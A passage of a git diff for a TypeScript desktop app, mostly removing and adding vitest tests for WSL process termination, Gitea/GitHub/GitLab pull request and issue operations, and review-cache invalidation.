readWslDistroRunningStateMock.mockReset().mockResolvedValue('running') }) - it('wraps the guest command in a reported process group', () => { - const termination = createWslProcessGroupTermination('Ubuntu') - const args = termination.wrapGuestArgs(['git', 'fetch']) - - expect(args.slice(0, 2)).toEqual(['sh', '-c']) - expect(args.slice(-2)).toEqual(['git', 'fetch']) - expect(args.join(' ')).toContain('__ORCA_WSL_PROCESS_GROUP_') - expect(args[2]).toContain('setsid --wait sh -c') - }) - - it('runs the guest command unwrapped where setsid --wait is unsupported', () => { - const termination = createWslProcessGroupTermination('Ubuntu') - const script = termination.wrapGuestArgs(['git', 'fetch'])[2] ?? '' - - expect(script).toContain('if setsid --wait true 2>/dev/null; then') - expect(script.trimEnd().endsWith('exec "$@"')).toBe(true) - }) - it('forces and verifies the reported guest process group', async () => { const termination = createWslProcessGroupTermination('Ubuntu') const wrapped = termination.wrapGuestArgs(['git', 'fetch']).join(' ') @@ -57,25 +39,6 @@ describe('WSL process-group termination', () => { expect(spec.args).toEqual(['4321']) }) - it('kills the group through the WSL runner, never a raw wsl.exe spawn', async () => { - const termination = createWslProcessGroupTermination('Ubuntu') - const wrapped = termination.wrapGuestArgs(['git', 'fetch']).join(' ') - const marker = wrapped.match(/(__ORCA_WSL_PROCESS_GROUP_[0-9a-f-]+__=)/)?.[1] - termination.observeStderr?.(Buffer.from(`${marker}4321\n`)) - - await termination.signal({} as ChildProcess) - - const spec = runWslProcessMock.mock.calls[0]?.[0] - expect(spec.distro).toBe('Ubuntu') - // The runner picks the shell; a payload of plain POSIX must not pin bash. - expect(spec.program).toBeUndefined() - expect(spec.shell).toBeUndefined() - // The kill reads no login environment, so it must not pay the probe. - expect(spec.loginPath).toBe('none') - expect(spec.timeoutMs).toBeGreaterThan(0) - expect(spec.script).toContain('kill -TERM') - }) - it('does not claim termination before the guest reports its identity', async () => { const termination = createWslProcessGroupTermination('Ubuntu') @@ -146,11 +109,5 @@ describe('WSL process-group termination', () => { expect(distro).toBe('Ubuntu') expect(options?.startedAfter).toBeGreaterThanOrEqual(before) }) - - it('kills in a running distro as before', async () => { - readWslDistroRunningStateMock.mockResolvedValue('running') - await expect(reportedGroup().signal(child)).resolves.toBe(true) - expect(runWslProcessMock).toHaveBeenCalledOnce() - }) }) }) diff --git a/src/main/gitea/client-scan-invalidation.test.ts b/src/main/gitea/client-scan-invalidation.test.ts index d25fcd07f24..3c85776408e 100644 --- a/src/main/gitea/client-scan-invalidation.test.ts +++ b/src/main/gitea/client-scan-invalidation.test.ts @@ -18,7 +18,8 @@ import { } from './client' import { createGiteaPullRequest } from './pull-request-creation' import { _resetGiteaRepoRefCache } from './repository-ref' -import { _resetGiteaPullRequestScanCache } from './pull-request-scan-cache' +import { _resetGiteaPullRequestScanCache, scanGiteaPullRequests } from './pull-request-scan-cache' +import { observeProviderRead } from '../source-control/hosted-review-provider-read' const branch = 'feature/gitea' const pullRequest = { @@ -52,6 +53,18 @@ describe('Gitea scan invalidation after creation', () => { vi.unstubAllEnvs() }) + it('reports a scan answered from the shared cache or a running scan as not a fresh read', async () => { + const fetchPage = vi.fn(async () => [pullRequest]) + const scan = () => + observeProviderRead(() => scanGiteaPullRequests('team/repo', fetchPage, 50, 1)) + const [owner, joiner] = await Promise.all([scan(), scan()]) + const cached = await scan() + expect(fetchPage).toHaveBeenCalledTimes(1) + expect(owner.answeredFromProviderCache).toBe(false) + expect(joiner.answeredFromProviderCache).toBe(true) + expect(cached.answeredFromProviderCache).toBe(true) + }) + it('refreshes cached misses in both modes after a successful create and coalesces readers', async () => { let created = false let listCalls = 0 diff --git a/src/main/gitea/pull-request-creation.test.ts b/src/main/gitea/pull-request-creation.test.ts deleted file mode 100644 index 7f3dea7ffdb..00000000000 --- a/src/main/gitea/pull-request-creation.test.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { createGiteaPullRequest, isGiteaReviewCreationAuthenticated } from './pull-request-creation' -import { _resetGiteaRepoRefCache } from './repository-ref' - -const { gitExecFileAsyncMock } = vi.hoisted(() => ({ - gitExecFileAsyncMock: vi.fn() -})) - -vi.mock('../git/runner', () => ({ - gitExecFileAsync: gitExecFileAsyncMock -})) - -vi.mock('../source-control/pull-request-template', () => ({ - readHostedPullRequestTemplate: vi.fn(async () => 'Template body') -})) - -const OLD_ENV = process.env -const OLD_FETCH = globalThis.fetch - -describe('Gitea pull request creation', () => { - beforeEach(() => { - process.env = { ...OLD_ENV, ORCA_GITEA_TOKEN: 'gitea-token' } - gitExecFileAsyncMock.mockReset() - gitExecFileAsyncMock.mockResolvedValue({ - stdout: 'https://git.example.com/code/team/repo.git\n', - stderr: '' - }) - _resetGiteaRepoRefCache() - }) - - afterEach(() => { - process.env = OLD_ENV - globalThis.fetch = OLD_FETCH - _resetGiteaRepoRefCache() - }) - - it('requires a token for repo-scoped creation', () => { - expect(isGiteaReviewCreationAuthenticated()).toBe(true) - delete process.env.ORCA_GITEA_TOKEN - expect(isGiteaReviewCreationAuthenticated()).toBe(false) - }) - - it('posts a pull request create body to the repository REST endpoint', async () => { - const fetchMock = vi.fn(async (input: string | URL | Request, init?: RequestInit) => { - const url = new URL(String(input)) - expect(url.origin).toBe('https://git.example.com') - expect(url.pathname).toBe('/code/api/v1/repos/team/repo/pulls') - expect(init).toBeDefined() - const requestInit = init! - expect(requestInit.method).toBe('POST') - expect((requestInit.headers as Record).Authorization).toBe( - 'token gitea-token' - ) - expect(JSON.parse(String(requestInit.body))).toEqual({ - base: 'main', - head: 'feature/gitea', - title: 'Add Gitea create', - body: 'Body', - draft: true - }) - return Response.json({ - number: 13, - title: 'Add Gitea create', - state: 'open', - draft: true, - html_url: 'https://git.example.com/code/team/repo/pulls/13', - updated_at: '2026-06-01T00:00:00Z', - mergeable: true, - head: { - ref: 'feature/gitea', - sha: 'abc123' - } - }) - }) - globalThis.fetch = fetchMock as never - - await expect( - createGiteaPullRequest( - '/repo', - { - provider: 'gitea', - base: 'origin/main', - head: 'refs/heads/feature/gitea', - title: 'Add Gitea create', - body: 'Body', - draft: true - }, - 'local' - ) - ).resolves.toEqual({ - ok: true, - number: 13, - url: 'https://git.example.com/code/team/repo/pulls/13' - }) - expect(fetchMock).toHaveBeenCalledOnce() - }) - - it('classifies validation failures from the REST API', async () => { - globalThis.fetch = vi.fn(async () => - Response.json({ message: 'Validation failed' }, { status: 422 }) - ) as never - - await expect( - createGiteaPullRequest( - '/repo', - { - provider: 'gitea', - base: 'main', - head: 'feature/gitea', - title: 'Add Gitea create' - }, - 'local' - ) - ).resolves.toMatchObject({ - ok: false, - code: 'validation', - reason: 'rejected' - }) - }) -}) diff --git a/src/main/gitea/pull-request-read-forgetting.ts b/src/main/gitea/pull-request-read-forgetting.ts new file mode 100644 index 00000000000..fb80bc44de9 --- /dev/null +++ b/src/main/gitea/pull-request-read-forgetting.ts @@ -0,0 +1,18 @@ +import type { ExecutionHostId } from '../../shared/execution-host' +import { hostedReviewSshConnectionId } from '../source-control/hosted-review-execution-host' +import type { HostedReviewExecutionOptions } from '../source-control/hosted-review-git-options' +import { getGiteaRepoSlug, invalidateGiteaPullRequestScanForRepo } from './client' + +/** The repository scan is shared by every branch card for 30s; a user refresh must not be answered by one from before the click. */ +export async function forgetGiteaPullRequestReads( + context: HostedReviewExecutionOptions & { repoPath: string; executionHostId: ExecutionHostId } +): Promise { + const repo = await getGiteaRepoSlug( + context.repoPath, + hostedReviewSshConnectionId(context.executionHostId), + context + ) + if (repo) { + invalidateGiteaPullRequestScanForRepo(repo) + } +} diff --git a/src/main/gitea/pull-request-scan-cache.ts b/src/main/gitea/pull-request-scan-cache.ts index 72a3c9a9aa2..85244d30bf9 100644 --- a/src/main/gitea/pull-request-scan-cache.ts +++ b/src/main/gitea/pull-request-scan-cache.ts @@ -1,3 +1,4 @@ +import { noteProviderCacheAnswer } from '../source-control/hosted-review-provider-read' import type { RawGiteaPullRequest } from './pull-request-mappers' export type GiteaPullRequestPageFetcher = (page: number) => Promise @@ -78,10 +79,12 @@ export async function scanGiteaPullRequests( ): Promise { const cached = reusableScanCacheEntry(repoKey) if (cached) { + noteProviderCacheAnswer() return cached.pullRequests } const running = inFlightScans.get(repoKey) if (running) { + noteProviderCacheAnswer() return running } const generation = scanGenerations.get(repoKey) ?? 0 diff --git a/src/main/github/client-file-viewed.test.ts b/src/main/github/client-file-viewed.test.ts index feeb477985a..17e9993d6bd 100644 --- a/src/main/github/client-file-viewed.test.ts +++ b/src/main/github/client-file-viewed.test.ts @@ -72,47 +72,6 @@ describe('setPRFileViewed', () => { acquireMock.mockResolvedValue(undefined) }) - it('uses GitHub GraphQL file-viewed mutations', async () => { - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '{}' }) - - await expect( - setPRFileViewed({ - repoPath: '/repo-root', - pullRequestId: 'PR_kwDO123', - path: 'src/app.ts', - viewed: true - }) - ).resolves.toBe(true) - - const args = ghExecFileAsyncMock.mock.calls[0][0] - expect(args[0]).toBe('api') - expect(args[1]).toBe('graphql') - expect(args.find((arg: string) => arg.startsWith('query='))).toContain('markFileAsViewed') - expect(args).toContain('pullRequestId=PR_kwDO123') - expect(args).toContain('path=src/app.ts') - expect(ghExecFileAsyncMock.mock.calls[0][1]).toEqual({ - cwd: '/repo-root', - host: 'github.com' - }) - expect(releaseMock).toHaveBeenCalledTimes(1) - }) - - it('uses GitHub GraphQL file-unviewed mutations', async () => { - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '{}' }) - - await expect( - setPRFileViewed({ - repoPath: '/repo-root', - pullRequestId: 'PR_kwDO123', - path: 'src/app.ts', - viewed: false - }) - ).resolves.toBe(true) - - const args = ghExecFileAsyncMock.mock.calls[0][0] - expect(args.find((arg: string) => arg.startsWith('query='))).toContain('unmarkFileAsViewed') - }) - it('routes local WSL file-viewed mutations through the selected distro', async () => { ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '{}' }) diff --git a/src/main/github/client-pr-state.test.ts b/src/main/github/client-pr-state.test.ts deleted file mode 100644 index 71bb32716e9..00000000000 --- a/src/main/github/client-pr-state.test.ts +++ /dev/null @@ -1,120 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type * as GithubApiRepositoryModule from './github-api-repository' -import type * as GitHubEnterpriseRepositoryModule from './github-enterprise-repository' - -const { clientMocks, moduleMocks } = await vi.hoisted(async () => { - const moduleMocks = await import('./client-test-mocks') - return { clientMocks: moduleMocks.createGitHubClientMocks(), moduleMocks } -}) - -vi.mock('./gh-utils', () => moduleMocks.ghUtilsModuleMock(clientMocks)) -vi.mock('../git/runner', () => moduleMocks.gitRunnerModuleMock(clientMocks)) -vi.mock('./local-git-config-signature', () => - moduleMocks.localGitConfigSignatureModuleMock(clientMocks) -) -vi.mock('./github-enterprise-repository', async (importOriginal) => - moduleMocks.githubEnterpriseRepositoryModuleMock( - await importOriginal() - ) -) -vi.mock('./rate-limit', () => moduleMocks.rateLimitModuleMock(clientMocks)) -vi.mock('./github-api-repository', async (importOriginal) => - moduleMocks.githubApiRepositoryModuleMock( - clientMocks, - await importOriginal() - ) -) - -import { markPRReadyForReview } from './client/update/pr-ready' -import { updatePRState } from './client/update/pr-state' -import { _resetOwnerRepoCache } from './gh-utils' -import { resetOriginRepositoryCache } from './client-test-harness' - -const { - ghExecFileAsyncMock, - getOwnerRepoMock, - getOwnerRepoForRemoteMock, - ghRepoExecOptionsMock, - githubRepoContextMock, - acquireMock, - releaseMock -} = clientMocks - -describe('pull request state mutations', () => { - beforeEach(() => { - resetOriginRepositoryCache() - ghExecFileAsyncMock.mockReset() - getOwnerRepoMock.mockReset() - getOwnerRepoForRemoteMock.mockReset() - getOwnerRepoForRemoteMock.mockImplementation( - async (repoPath: string, remoteName: string, connectionId?: string | null, opts = {}) => - remoteName === 'origin' ? getOwnerRepoMock(repoPath, connectionId, opts) : null - ) - ghRepoExecOptionsMock.mockClear() - githubRepoContextMock.mockClear() - acquireMock.mockReset() - releaseMock.mockReset() - acquireMock.mockResolvedValue(undefined) - _resetOwnerRepoCache() - }) - - it('reopens pull requests through the gh PR command', async () => { - getOwnerRepoMock.mockResolvedValueOnce({ owner: 'stablyai', repo: 'orca' }) - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '', stderr: '' }) - - await expect(updatePRState('/repo-root', 3977, { state: 'open' })).resolves.toEqual({ - ok: true - }) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - ['pr', 'reopen', '3977', '--repo', 'stablyai/orca'], - { cwd: '/repo-root', host: 'github.com' } - ) - expect(acquireMock).toHaveBeenCalledTimes(1) - expect(releaseMock).toHaveBeenCalledTimes(1) - }) - - it('closes pull requests through the gh PR command', async () => { - getOwnerRepoMock.mockResolvedValueOnce({ owner: 'stablyai', repo: 'orca' }) - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '', stderr: '' }) - - await expect(updatePRState('/repo-root', 3977, { state: 'closed' })).resolves.toEqual({ - ok: true - }) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - ['pr', 'close', '3977', '--repo', 'stablyai/orca'], - { cwd: '/repo-root', host: 'github.com' } - ) - }) - - it('reopens SSH-backed pull requests without local cwd options', async () => { - getOwnerRepoMock.mockResolvedValueOnce({ owner: 'stablyai', repo: 'orca' }) - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '', stderr: '' }) - - await expect( - updatePRState('/remote/repo-root', 3977, { state: 'open' }, 'ssh-1') - ).resolves.toEqual({ - ok: true - }) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - ['pr', 'reopen', '3977', '--repo', 'stablyai/orca'], - { host: 'github.com' } - ) - }) - - it('marks pull requests ready for review through gh', async () => { - getOwnerRepoMock.mockResolvedValueOnce({ owner: 'stablyai', repo: 'orca' }) - ghExecFileAsyncMock.mockResolvedValueOnce({ stdout: '', stderr: '' }) - - await expect(markPRReadyForReview('/repo-root', 3977)).resolves.toEqual({ ok: true }) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - ['pr', 'ready', '3977', '--repo', 'stablyai/orca'], - { cwd: '/repo-root', host: 'github.com' } - ) - expect(acquireMock).toHaveBeenCalledTimes(1) - expect(releaseMock).toHaveBeenCalledTimes(1) - }) -}) diff --git a/src/main/github/issue-mutation-source.test.ts b/src/main/github/issue-mutation-source.test.ts deleted file mode 100644 index 0c416f561f0..00000000000 --- a/src/main/github/issue-mutation-source.test.ts +++ /dev/null @@ -1,174 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type * as GithubApiRepositoryModule from './github-api-repository' -import type * as GhUtils from './gh-utils' - -const { ghExecFileAsyncMock, resolveIssueSourceMock, acquireMock, releaseMock } = vi.hoisted( - () => ({ - ghExecFileAsyncMock: vi.fn(), - resolveIssueSourceMock: vi.fn(), - acquireMock: vi.fn(), - releaseMock: vi.fn() - }) -) - -vi.mock('./gh-utils', async () => { - const actual = await vi.importActual('./gh-utils') - return { - ...actual, - ghExecFileAsync: ghExecFileAsyncMock, - acquire: acquireMock, - release: releaseMock - } -}) - -vi.mock('./github-api-repository', async (importOriginal) => ({ - ...(await importOriginal()), - resolveIssueGitHubApiRepositorySource: resolveIssueSourceMock -})) - -import { addIssueComment } from './issue-comment' -import { updateIssue } from './issue-update' - -const ORIGIN = { owner: 'fork-owner', repo: 'widgets', host: 'github.com' } -const UPSTREAM = { owner: 'upstream-owner', repo: 'widgets', host: 'github.com' } - -describe('issue mutations follow the issue source preference', () => { - beforeEach(() => { - ghExecFileAsyncMock.mockReset() - acquireMock.mockReset() - acquireMock.mockResolvedValue(undefined) - releaseMock.mockReset() - resolveIssueSourceMock.mockReset() - resolveIssueSourceMock.mockImplementation(async (_repoPath: string, preference: unknown) => ({ - source: preference === 'origin' ? ORIGIN : UPSTREAM, - fellBack: false - })) - }) - - it('posts issue comments to origin when origin is selected', async () => { - ghExecFileAsyncMock.mockResolvedValueOnce({ - stdout: JSON.stringify({ id: 1, user: { login: 'octo', avatar_url: '' }, body: 'hi' }) - }) - - await expect( - addIssueComment('/repo-root', 5, 'hi', null, null, {}, 'origin') - ).resolves.toMatchObject({ ok: true }) - - expect(resolveIssueSourceMock).toHaveBeenCalledWith('/repo-root', 'origin', null, {}) - expect(ghExecFileAsyncMock.mock.calls[0][0]).toContain( - 'repos/fork-owner/widgets/issues/5/comments' - ) - }) - - it('keeps an explicit owner/repo override ahead of the preference', async () => { - ghExecFileAsyncMock.mockResolvedValueOnce({ - stdout: JSON.stringify({ id: 2, user: { login: 'octo', avatar_url: '' }, body: 'hi' }) - }) - - await addIssueComment('/repo-root', 7, 'hi', null, UPSTREAM, {}, 'origin') - - expect(resolveIssueSourceMock).not.toHaveBeenCalled() - expect(ghExecFileAsyncMock.mock.calls[0][0]).toContain( - 'repos/upstream-owner/widgets/issues/7/comments' - ) - }) - - it('edits issues on origin when origin is selected', async () => { - ghExecFileAsyncMock.mockResolvedValue({ stdout: '' }) - - await expect( - updateIssue('/repo-root', 5, { body: 'Updated', addAssignees: ['octo'] }, null, {}, 'origin') - ).resolves.toEqual({ ok: true }) - - expect(resolveIssueSourceMock).toHaveBeenCalledWith('/repo-root', 'origin', null, {}) - expect(ghExecFileAsyncMock.mock.calls[0][0]).toContain('repos/fork-owner/widgets/issues/5') - expect(ghExecFileAsyncMock.mock.calls[1][0]).toEqual([ - 'issue', - 'edit', - '5', - '--repo', - 'fork-owner/widgets', - '--add-assignee', - 'octo' - ]) - }) - - it('keeps the upstream-first default when no preference is set', async () => { - ghExecFileAsyncMock.mockResolvedValue({ stdout: '' }) - - await updateIssue('/repo-root', 5, { body: 'Updated' }) - - expect(resolveIssueSourceMock).toHaveBeenCalledWith('/repo-root', undefined, undefined, {}) - expect(ghExecFileAsyncMock.mock.calls[0][0]).toContain('repos/upstream-owner/widgets/issues/5') - }) - - it('keeps edits on the opened issue when the saved preference changes', async () => { - ghExecFileAsyncMock.mockResolvedValue({ stdout: '' }) - - await updateIssue( - '/repo-root', - 5, - { body: 'Origin edit', state: 'closed', addLabels: ['bug'], addAssignees: ['octo'] }, - null, - {}, - 'upstream', - ORIGIN - ) - - expect(resolveIssueSourceMock).not.toHaveBeenCalled() - expect(ghExecFileAsyncMock.mock.calls.map(([args]) => args)).toEqual([ - ['issue', 'close', '5', '--repo', 'fork-owner/widgets'], - ['api', '-X', 'PATCH', 'repos/fork-owner/widgets/issues/5', '--input', '-'], - [ - 'issue', - 'edit', - '5', - '--repo', - 'fork-owner/widgets', - '--add-label', - 'bug', - '--add-assignee', - 'octo' - ] - ]) - expect(ghExecFileAsyncMock.mock.calls[1][1]?.stdin).toBe( - JSON.stringify({ body: 'Origin edit' }) - ) - }) - - it('preserves local WSL execution with an explicit issue repository', async () => { - ghExecFileAsyncMock.mockResolvedValue({ stdout: '' }) - - await updateIssue( - '/home/fixture/widgets', - 5, - { body: 'Origin edit' }, - null, - { wslDistro: 'Ubuntu' }, - 'upstream', - ORIGIN - ) - - expect(ghExecFileAsyncMock).toHaveBeenCalledWith( - expect.arrayContaining(['repos/fork-owner/widgets/issues/5']), - expect.objectContaining({ - cwd: '/home/fixture/widgets', - wslDistro: 'Ubuntu', - host: 'github.com' - }) - ) - }) - - it('refuses unresolved Origin mutations instead of using ambient gh', async () => { - resolveIssueSourceMock.mockResolvedValue({ source: null, fellBack: false }) - - await expect( - updateIssue('/repo-root', 5, { body: 'Origin edit' }, null, {}, 'origin') - ).resolves.toMatchObject({ ok: false }) - await expect( - addIssueComment('/repo-root', 5, 'Origin reply', null, null, {}, 'origin') - ).resolves.toMatchObject({ ok: false }) - - expect(ghExecFileAsyncMock).not.toHaveBeenCalled() - }) -}) diff --git a/src/main/github/project-view/project-view-config.test.ts b/src/main/github/project-view/project-view-config.test.ts index 4fcc57c00d8..1f1fb010b5c 100644 --- a/src/main/github/project-view/project-view-config.test.ts +++ b/src/main/github/project-view/project-view-config.test.ts @@ -183,12 +183,4 @@ describe('finalizeView verticalGroupByFields normalization', () => { ]) } }) - - it('omits the key entirely when the host never sent it (wire-compat shape)', () => { - const finalized = finalizeView(base, []) - expect(finalized.ok).toBe(true) - if (finalized.ok) { - expect('verticalGroupByFields' in finalized.view).toBe(false) - } - }) }) diff --git a/src/main/github/work-item-details-issue-source.test.ts b/src/main/github/work-item-details-issue-source.test.ts deleted file mode 100644 index e52de876d18..00000000000 --- a/src/main/github/work-item-details-issue-source.test.ts +++ /dev/null @@ -1,239 +0,0 @@ -import type * as WorkItemDetailsTestLookup from './work-item-details-test-lookup' -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const { - ghExecFileAsyncMock, - getOwnerRepoMock, - getOwnerRepoForRemoteMock, - getWorkItemMock, - getWorkItemByOwnerRepoMock, - acquireMock, - releaseMock -} = vi.hoisted(() => ({ - ghExecFileAsyncMock: vi.fn(), - getOwnerRepoMock: vi.fn(), - getOwnerRepoForRemoteMock: vi.fn(), - getWorkItemMock: vi.fn(), - getWorkItemByOwnerRepoMock: vi.fn(), - acquireMock: vi.fn(), - releaseMock: vi.fn() -})) - -vi.mock('./gh-utils', () => ({ - ghExecFileAsync: ghExecFileAsyncMock, - getOwnerRepo: getOwnerRepoMock, - getOwnerRepoForRemote: getOwnerRepoForRemoteMock, - ghRepoExecOptions: vi.fn((context) => ({ cwd: context.repoPath })), - githubRepoContext: vi.fn((repoPath, connectionId, localGitOptions) => ({ - repoPath, - connectionId: connectionId ?? null, - ...localGitOptions - })), - acquire: acquireMock, - release: releaseMock -})) - -vi.mock('./client', async () => ({ - getWorkItem: getWorkItemMock, - getWorkItemWithRepository: ( - await vi.importActual('./work-item-details-test-lookup') - ).makeWorkItemDetailsLookupMock(getWorkItemMock), - getWorkItemByOwnerRepo: getWorkItemByOwnerRepoMock, - getPRChecks: vi.fn(), - getPRComments: vi.fn() -})) - -vi.mock('./github-enterprise-repository', () => ({ - getEnterpriseGitHubRepoSlug: vi.fn().mockResolvedValue(null), - getEnterpriseGitHubRepoSlugForRemote: vi.fn().mockResolvedValue(null), - isGitHubHostAuthenticated: vi.fn().mockResolvedValue(true) -})) - -vi.mock('./rate-limit', () => ({ - repositoryRateLimitGuard: vi.fn(() => ({ blocked: false })), - noteRepositoryRateLimitSpend: vi.fn() -})) - -vi.mock('../git/remote-name-listing', () => ({ - shouldProbeGitRemote: vi.fn().mockResolvedValue(true) -})) - -import { getWorkItemDetails } from './work-item-details' -import { _resetOriginGitHubApiRepositoryCache } from './github-api-repository' - -const REMOTES: Record = { - origin: { owner: 'fork-owner', repo: 'widgets' }, - upstream: { owner: 'upstream-owner', repo: 'widgets' } -} - -function graphQLIssueResponse(assignee: string): { stdout: string } { - return { - stdout: JSON.stringify({ - data: { - repository: { - issue: { - body: `${assignee} body`, - assignees: { nodes: [{ login: assignee }] }, - participants: { nodes: [] }, - comments: { nodes: [] } - } - } - } - }) - } -} - -function graphQLOwnerArg(): string | undefined { - const args: string[] = ghExecFileAsyncMock.mock.calls[0][0] - return args.find((arg) => arg.startsWith('owner=')) -} - -describe('getWorkItemDetails issue source', () => { - beforeEach(() => { - _resetOriginGitHubApiRepositoryCache() - ghExecFileAsyncMock.mockReset() - getOwnerRepoMock.mockReset() - getOwnerRepoMock.mockResolvedValue(REMOTES.origin) - getOwnerRepoForRemoteMock.mockReset() - getOwnerRepoForRemoteMock.mockImplementation( - async (_repoPath: string, remoteName: string) => REMOTES[remoteName] ?? null - ) - getWorkItemMock.mockReset() - getWorkItemByOwnerRepoMock.mockReset() - getWorkItemMock.mockResolvedValue({ - id: 'issue:5', - type: 'issue', - number: 5, - title: 'Origin issue', - state: 'open', - url: 'https://github.com/fork-owner/widgets/issues/5', - labels: [], - updatedAt: '2026-04-01T00:00:00Z', - author: 'fork-author' - }) - acquireMock.mockReset() - acquireMock.mockResolvedValue(undefined) - releaseMock.mockReset() - }) - - it('reads body, assignees and comments from origin when origin is selected', async () => { - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('fork-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - const details = await getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'origin') - - expect(getWorkItemMock).toHaveBeenCalledWith('/repo-root', 5, 'issue', null, {}, 'origin') - expect(graphQLOwnerArg()).toBe('owner=fork-owner') - expect(ghExecFileAsyncMock.mock.calls[1][0]).toContain( - 'repos/fork-owner/widgets/issues/5/timeline?per_page=100&page=1' - ) - expect(details?.assignees).toEqual(['fork-assignee']) - }) - - it('keeps the upstream-first default when no preference is set', async () => { - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('upstream-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - const details = await getWorkItemDetails('/repo-root', 5, 'issue', null, {}) - - expect(graphQLOwnerArg()).toBe('owner=upstream-owner') - expect(details?.assignees).toEqual(['upstream-assignee']) - }) - - it('keeps a Project row on upstream even when Origin is selected', async () => { - const upstream = { ...REMOTES.upstream, host: 'github.com' } - getWorkItemByOwnerRepoMock.mockResolvedValue({ - id: 'issue:5', - type: 'issue', - number: 5, - title: 'Upstream project issue', - url: 'https://github.com/upstream-owner/widgets/issues/5', - state: 'open', - labels: [], - updatedAt: '', - author: 'upstream-author' - }) - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('upstream-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - const details = await getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'origin', upstream) - - expect(getWorkItemMock).not.toHaveBeenCalled() - expect(getWorkItemByOwnerRepoMock).toHaveBeenCalledWith( - '/repo-root', - upstream, - 5, - 'issue', - null, - {} - ) - expect(graphQLOwnerArg()).toBe('owner=upstream-owner') - expect(details?.item.title).toBe('Upstream project issue') - expect(details?.assignees).toEqual(['upstream-assignee']) - }) - - it('does not fall back when the selected issue repository is unavailable', async () => { - getWorkItemByOwnerRepoMock.mockResolvedValue(null) - - await expect( - getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'upstream', { - ...REMOTES.origin, - host: 'github.com' - }) - ).resolves.toBeNull() - - expect(getWorkItemMock).not.toHaveBeenCalled() - expect(ghExecFileAsyncMock).not.toHaveBeenCalled() - }) - - it('rejects an invalid runtime issue host before calling the repository lookup', async () => { - await expect( - getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'upstream', { - ...REMOTES.origin, - host: 42 - }) - ).resolves.toBeNull() - - expect(getWorkItemByOwnerRepoMock).not.toHaveBeenCalled() - expect(getWorkItemMock).not.toHaveBeenCalled() - expect(ghExecFileAsyncMock).not.toHaveBeenCalled() - }) - - it('ignores an issue repository override on an untyped lookup', async () => { - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('fork-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - await getWorkItemDetails('/repo-root', 5, undefined, null, {}, 'origin', { - owner: 'untrusted', - repo: 'other', - host: 'untrusted.example' - }) - - expect(getWorkItemByOwnerRepoMock).not.toHaveBeenCalled() - expect(graphQLOwnerArg()).toBe('owner=fork-owner') - expect(ghExecFileAsyncMock.mock.calls[0][1]).toMatchObject({ host: 'github.com' }) - }) - - it('normalizes host-less issue targets before loading the conversation', async () => { - getWorkItemByOwnerRepoMock.mockResolvedValue({ - type: 'issue', - number: 5, - title: 'Origin issue', - url: 'https://github.com/fork-owner/widgets/issues/5', - author: null - }) - ghExecFileAsyncMock - .mockResolvedValueOnce(graphQLIssueResponse('fork-assignee')) - .mockResolvedValueOnce({ stdout: '' }) - - await getWorkItemDetails('/repo-root', 5, 'issue', null, {}, 'upstream', REMOTES.origin) - - expect(graphQLOwnerArg()).toBe('owner=fork-owner') - expect(ghExecFileAsyncMock.mock.calls[0][1]).toMatchObject({ host: 'github.com' }) - expect(ghExecFileAsyncMock.mock.calls[1][1]).toMatchObject({ host: 'github.com' }) - }) -}) diff --git a/src/main/gitlab/client-mr-review-actions.test.ts b/src/main/gitlab/client-mr-review-actions.test.ts index fbaf9bc4e32..cd905c30170 100644 --- a/src/main/gitlab/client-mr-review-actions.test.ts +++ b/src/main/gitlab/client-mr-review-actions.test.ts @@ -54,6 +54,11 @@ import { updateMRReviewers } from './client' import { resetGitLabMrMocks } from './client-mr-test-harness' +import type { HostedReviewInfo } from '../../shared/hosted-review' +import { + __resetHostedReviewBranchCacheForTests, + withHostedReviewBranchCache +} from '../source-control/hosted-review-branch-cache' import { stripGitLabDraftTitlePrefix } from './merge-request-draft-title' describe('stripGitLabDraftTitlePrefix', () => { @@ -536,3 +541,64 @@ describe('gitlab client — MR operations', () => { }) }) }) + +describe('gitlab client — review lookups after a merge request write', () => { + const projectRef = { host: 'gitlab.example.internal', path: 'g/p' } + const identity = { repoPath: '/repo', executionHostId: 'local' as const, branch: 'feature' } + const open: HostedReviewInfo = { + provider: 'gitlab', + number: 6, + title: 'MR', + state: 'open', + url: 'https://gitlab.example.internal/g/p/-/merge_requests/6', + status: 'neutral', + updatedAt: '', + mergeable: 'UNKNOWN' + } + const writes = { + merge: () => mergeMR('/repo', 6, 'squash', undefined, null, projectRef), + close: () => closeMR('/repo', 6, undefined, null, projectRef), + reopen: () => reopenMR('/repo', 6, undefined, null, projectRef), + title: () => updateMR('/repo', 6, { title: 'Renamed' }, undefined, null, projectRef) + } + + beforeEach(() => { + resetGitLabMrMocks({ + glabExecFileAsyncMock, + glabApiWithHeadersMock, + getGlabKnownHostsMock, + getProjectRefMock, + resolveIssueSourceMock, + acquireMock, + releaseMock, + gitExecFileAsyncMock + }) + __resetHostedReviewBranchCacheForTests() + glabExecFileAsyncMock.mockResolvedValue({ stdout: '', stderr: '' }) + }) + + // Issue #14377: "I press Squash and merge" in Orca, and the card stayed Open while a poll was in 